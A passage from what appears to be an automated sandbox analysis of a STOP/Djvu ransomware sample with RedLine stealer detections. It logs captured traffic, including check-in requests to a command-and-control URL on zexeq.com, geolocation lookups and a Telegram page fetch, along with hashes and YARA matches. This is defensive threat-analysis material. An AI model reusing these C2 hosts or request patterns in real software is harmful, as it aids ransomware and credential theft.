7	192.168.2.6	49734	196.188.169.138	80	5432	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 13:45:12.636899948 CET	126	OUT	GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49740	196.188.169.138	80	5044	C:\Users\user\Desktop\g0Zq7nJjus.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 13:45:17.983118057 CET	137	OUT	GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49741	196.188.169.138	80	5432	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2024 13:45:18.172715902 CET	126	OUT	GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	172.67.139.220	443	2924	C:\Users\user\Desktop\g0Zq7nJjus.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-11 12:44:54 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-01-11 12:44:54 UTC	918	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 11 Jan 2024 12:44:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=j76jp3VQR0NVmIwwrmBz%2F0EYfy99l4ykJJsemcA3JTKQRKNIWr%2FqOEthuf4FmdxarkvLfbvkEvoryeUwYh1CPIH0PVeLU2%2FSYr%2BRNKs%2FTuqWumowuVxNB3%2FqqFxS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 843d40f8398681dc-IAD alt-svc: h3=":443"; ma=86400
2024-01-11 12:44:54 UTC	451	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 62 35 64 64 64 30 64 39 63 35 66 35 38 37 64 63 63 35 39 62 64 38 64 30 38 61 63 36 63 30 64 37 64 66 64 30 64 36 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#b5ddd0d9c5f587dcc59bd8d08ac6c0d7dfd0d6
2024-01-11 12:44:54 UTC	371	IN	Data Raw: d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 66 61 39 32 39 66 39 36 38 61 62 61 63 38 39 33 38 61 64 34 38 66 39 62 63 35 38 39 38 66 39 38 39 30 39 66 39 39 38 65 63 37 63 38 39 33 38 61 64 34 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#fa929f968abac8938ad48f9bc5898f98909f998ec7c8938ad4
2024-01-11 12:44:54 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-01-11 12:44:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	172.67.139.220	443	5044	C:\Users\user\Desktop\g0Zq7nJjus.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-11 12:44:56 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-01-11 12:44:56 UTC	910	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 11 Jan 2024 12:44:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FYgORtxL9gk8nQ8%2F9HxZpkrzWb1puc8MdiTOYQNJcTBTHB86SvM1wzbdsTJQXAQpafvd1gn1ObiB56sK2n1t24TWZgSedrBOGnlckEI1hPR7SUzbZjsgpTiPsfK%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 843d4103a83e28a8-IAD alt-svc: h3=":443"; ma=86400
2024-01-11 12:44:56 UTC	459	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 66 63 39 34 39 39 39 30 38 63 62 63 63 65 39 35 38 63 64 32 39 31 39 39 63 33 38 66 38 39 39 65 39 36 39 39 39 66 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#fc9499908cbcce958cd29199c38f899e96999f
2024-01-11 12:44:56 UTC	471	IN	Data Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 63 31 61 39 61 34 61 64 62 31 38 31 66 33 61 38 62 31 65 66 62 34 61 30 66 65 62 32 62 34 61 33 61 62 61 34 61 32 62 35 66 63 66 33 61 38 62 31 65 66 62 34 61 30 22 3e 3c 73 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#c1a9a4adb181f3a8b1efb4a0feb2b4a3aba4a2b5fcf3a8b1efb4a0"><s
2024-01-11 12:44:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	172.67.139.220	443	5432	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-11 12:44:57 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-01-11 12:44:58 UTC	910	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 11 Jan 2024 12:44:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zMa5PErzaxW8x61PUX63Fdz9852GTXi0KhLEUAqOB6W%2FE3ALrk7uHgitTflrLnrxrNHft83QjEO93i9j8pqsNCFCL%2F8QmuAfNFOSZWMDaKHoffgRZUqliFnKwmRx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 843d410f1926080d-IAD alt-svc: h3=":443"; ma=86400
2024-01-11 12:44:58 UTC	459	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 39 30 31 30 63 30 35 31 39 32 39 35 62 30 30 31 39 34 37 30 34 30 63 35 36 31 61 31 63 30 62 30 33 30 63 30 61 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#69010c0519295b001947040c561a1c0b030c0a
2024-01-11 12:44:58 UTC	363	IN	Data Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 32 34 34 63 34 31 34 38 35 34 36 34 31 36 34 64 35 34 30 61 35 31 34 35 31 62 35 37 35 31 34 36 34 65 34 31 34 37 35 30 31 39 31 36 34 64 35 34 30 61 35 31 34 35 22 3e 3c 73 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#244c41485464164d540a51451b5751464e41475019164d540a5145"><s
2024-01-11 12:44:58 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-01-11 12:44:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49718	149.154.167.99	443	5640	C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-11 12:45:04 UTC	86	OUT	GET /bg3goty HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-01-11 12:45:05 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 11 Jan 2024 12:45:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12335 Connection: close Set-Cookie: stel_ssid=eb5f04361def4051b0_9298860285052795294; expires=Fri, 12 Jan 2024 12:45:04 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-01-11 12:45:05 UTC	12335	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 62 67 33 67 6f 74 79 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @bg3goty</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.paren

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49726	172.67.139.220	443	3200	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-11 12:45:10 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-01-11 12:45:10 UTC	926	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 11 Jan 2024 12:45:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ihB%2BgiMqP87twae6l4p2L%2FgI127%2FuextT%2BsUkGE%2B6ieuZsbk8Y%2FFkP1%2Fw9%2BPPt7gYZQuPZ%2BYVfutDeP8BkaXLH8NUXMejbgP85fTPzG6oRrzKZ4Cjq%2FgEitdMcMu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 843d415dc93a818b-IAD alt-svc: h3=":443"; ma=86400
2024-01-11 12:45:10 UTC	443	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 39 65 66 36 66 62 66 32 65 65 64 65 61 63 66 37 65 65 62 30 66 33 66 62 61 31 65 64 65 62 66 63 66 34 66 62 66 64 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#9ef6fbf2eedeacf7eeb0f3fba1edebfcf4fbfd
2024-01-11 12:45:10 UTC	487	IN	Data Raw: d1 80 d0 be d1 81 d0 be d0 b2 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 65 34 38 63 38 31 38 38 39 34 61 34 64 36 38 64 39 34 63 61 39 31 38 35 64 62 39 37 39 31 38 36 38 65 38 31 38 37 39 30 64 39 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#e48c818894a4d68d94ca9185db9791868e818790d9
2024-01-11 12:45:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49739	172.67.139.220	443	280	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-11 12:45:17 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-01-11 12:45:17 UTC	910	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 11 Jan 2024 12:45:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=A4ameD2BW7lEqc4lALpQewyK3Xcep%2BSHY8mj3rUpIITd2cZISoj3U6jnIYLvtnHdFlzj%2B5UzAwPhkvzLEh3p2cgERCsJttlEbFEChrWvYfAv8DWMRN3DVy5A7N7H"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 843d4187ac2f8244-IAD alt-svc: h3=":443"; ma=86400
2024-01-11 12:45:17 UTC	459	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 37 38 31 30 31 64 31 34 30 38 33 38 34 61 31 31 30 38 35 36 31 35 31 64 34 37 30 62 30 64 31 61 31 32 31 64 31 62 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#78101d1408384a110856151d470b0d1a121d1b
2024-01-11 12:45:17 UTC	363	IN	Data Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 35 65 33 36 33 62 33 32 32 65 31 65 36 63 33 37 32 65 37 30 32 62 33 66 36 31 32 64 32 62 33 63 33 34 33 62 33 64 32 61 36 33 36 63 33 37 32 65 37 30 32 62 33 66 22 3e 3c 73 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#5e363b322e1e6c372e702b3f612d2b3c343b3d2a636c372e702b3f"><s
2024-01-11 12:45:17 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-01-11 12:45:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	13:44:52
Start date:	11/01/2024
Path:	C:\Users\user\Desktop\g0Zq7nJjus.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\g0Zq7nJjus.exe
Imagebase:	0x400000
File size:	704'512 bytes
MD5 hash:	CD2A2421B83821C6C98E6D0BD346D7BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2089445916.00000000024FA000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:44:52
Start date:	11/01/2024
Path:	C:\Users\user\Desktop\g0Zq7nJjus.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\g0Zq7nJjus.exe
Imagebase:	0x400000
File size:	704'512 bytes
MD5 hash:	CD2A2421B83821C6C98E6D0BD346D7BD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
